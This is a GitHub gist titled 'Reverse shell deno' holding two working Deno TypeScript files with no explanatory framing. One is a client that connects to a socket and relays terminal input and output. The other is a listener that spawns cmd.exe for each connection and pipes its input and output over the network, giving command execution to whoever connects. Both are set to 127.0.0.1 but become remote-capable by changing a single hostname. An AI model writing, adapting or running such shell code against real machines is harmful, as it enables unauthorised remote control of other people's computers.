-
-
Save image72/6893dae82f9aa0a1fcd7a662f1cdc535 to your computer and use it in GitHub Desktop.
Reverse shell deno
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const conn = await Deno.connect({ hostname: "127.0.0.1", port: 7953 }); | |
const decoder = new TextDecoder(), | |
encoder = new TextEncoder(); | |
const safe = (buffer: Uint8Array) => encoder.encode(decoder.decode(buffer)); | |
async function pipe(reader: Deno.Reader, writer: Deno.Writer, debug=false) { | |
const buffer = new Uint8Array(32 * 1024); | |
while (true) { | |
try { | |
const length = await reader.read(buffer); | |
if (!length) break; | |
if (debug) console.log("Buffer :", buffer.subarray(0, length)); | |
let n = 0; | |
while (n < length) { | |
n += await writer.write(safe(buffer.subarray(n, length))); | |
} | |
} catch (error) { | |
break; | |
} | |
} | |
} | |
await Promise.race([ | |
pipe(conn, Deno.stdout), | |
pipe(Deno.stdin, conn) | |
]); | |
conn.close(); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const server = Deno.listen({ hostname: "127.0.0.1", port: 7953 }); | |
const decoder = new TextDecoder(), | |
encoder = new TextEncoder(); | |
const safe = (buffer: Uint8Array) => encoder.encode(decoder.decode(buffer)); | |
async function pipe(reader: Deno.Reader, writer: Deno.Writer) { | |
const buffer = new Uint8Array(32 * 1024); | |
while (true) { | |
try { | |
const length = await reader.read(buffer); | |
if (!length) break; | |
let n = 0; | |
while (n < length) { | |
n += await writer.write(safe(buffer.subarray(n, length))); | |
} | |
} catch (error) { | |
break; | |
} | |
} | |
} | |
for await (const conn of server) { | |
(async () => { | |
const { stdout, stdin, stderr } = Deno.run({ | |
cmd: ["cmd.exe"], | |
stdout: "piped", | |
stdin: "piped", | |
stderr: "piped", | |
}); | |
await Promise.race([ | |
pipe(stdout, conn), | |
pipe(stderr, conn), | |
pipe(conn, stdin), | |
]); | |
conn.close(); | |
})(); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment